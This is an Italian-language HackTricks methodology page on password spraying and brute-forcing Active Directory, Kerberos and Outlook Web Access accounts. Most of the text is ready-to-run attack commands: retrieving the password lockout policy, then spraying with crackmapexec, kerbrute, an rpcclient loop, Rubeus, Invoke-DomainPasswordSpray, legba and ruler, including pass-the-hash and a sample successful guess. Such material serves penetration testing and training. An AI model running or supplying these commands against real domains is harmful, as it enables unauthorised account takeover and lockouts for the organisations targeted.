hacktricks/windows-hardening/active-directory-methodology/password-spraying.md

8.1 KiB

Password Spraying / Brute Force

Impara l'hacking AWS da zero a ero con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Password Spraying

Una volta trovati diversi nomi utente validi puoi provare le password più comuni (tenendo conto della politica sulle password dell'ambiente) con ciascuno degli utenti scoperti.
Per default la lunghezza minima della password è 7.

Anche elenchi di nomi utente comuni potrebbero essere utili: https://github.com/insidetrust/statistically-likely-usernames

Nota che potresti bloccare alcuni account se provi diverse password errate (per default più di 10).

Ottenere la politica delle password

Se hai delle credenziali utente o una shell come utente di dominio puoi ottenere la politica delle password con:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Sfruttamento da Linux (o tutti)

  • Utilizzando crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (puoi indicare il numero di tentativi per evitare blocchi):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Utilizzando kerbrute (python) - NON RACCOMANDATO A VOLTE NON FUNZIONA
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Con il modulo scanner/smb/smb_login di Metasploit:

  • Utilizzando rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Da Windows

  • Con Rubeus versione con modulo di forza bruta:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Con Invoke-DomainPasswordSpray (Può generare utenti dal dominio per impostazione predefinita e otterrà la password policy dal dominio e limiterà i tentativi di accesso in base ad essa):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Brute Force

{% codice overflow="wrap" %}

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

{% endcode %}

Accesso Web Outlook

Ci sono diversi strumenti per effettuare lo spraying delle password su Outlook.

Per utilizzare uno qualsiasi di questi strumenti, è necessario disporre di un elenco di utenti e di una password / un piccolo elenco di password da spruzzare.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

References

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks: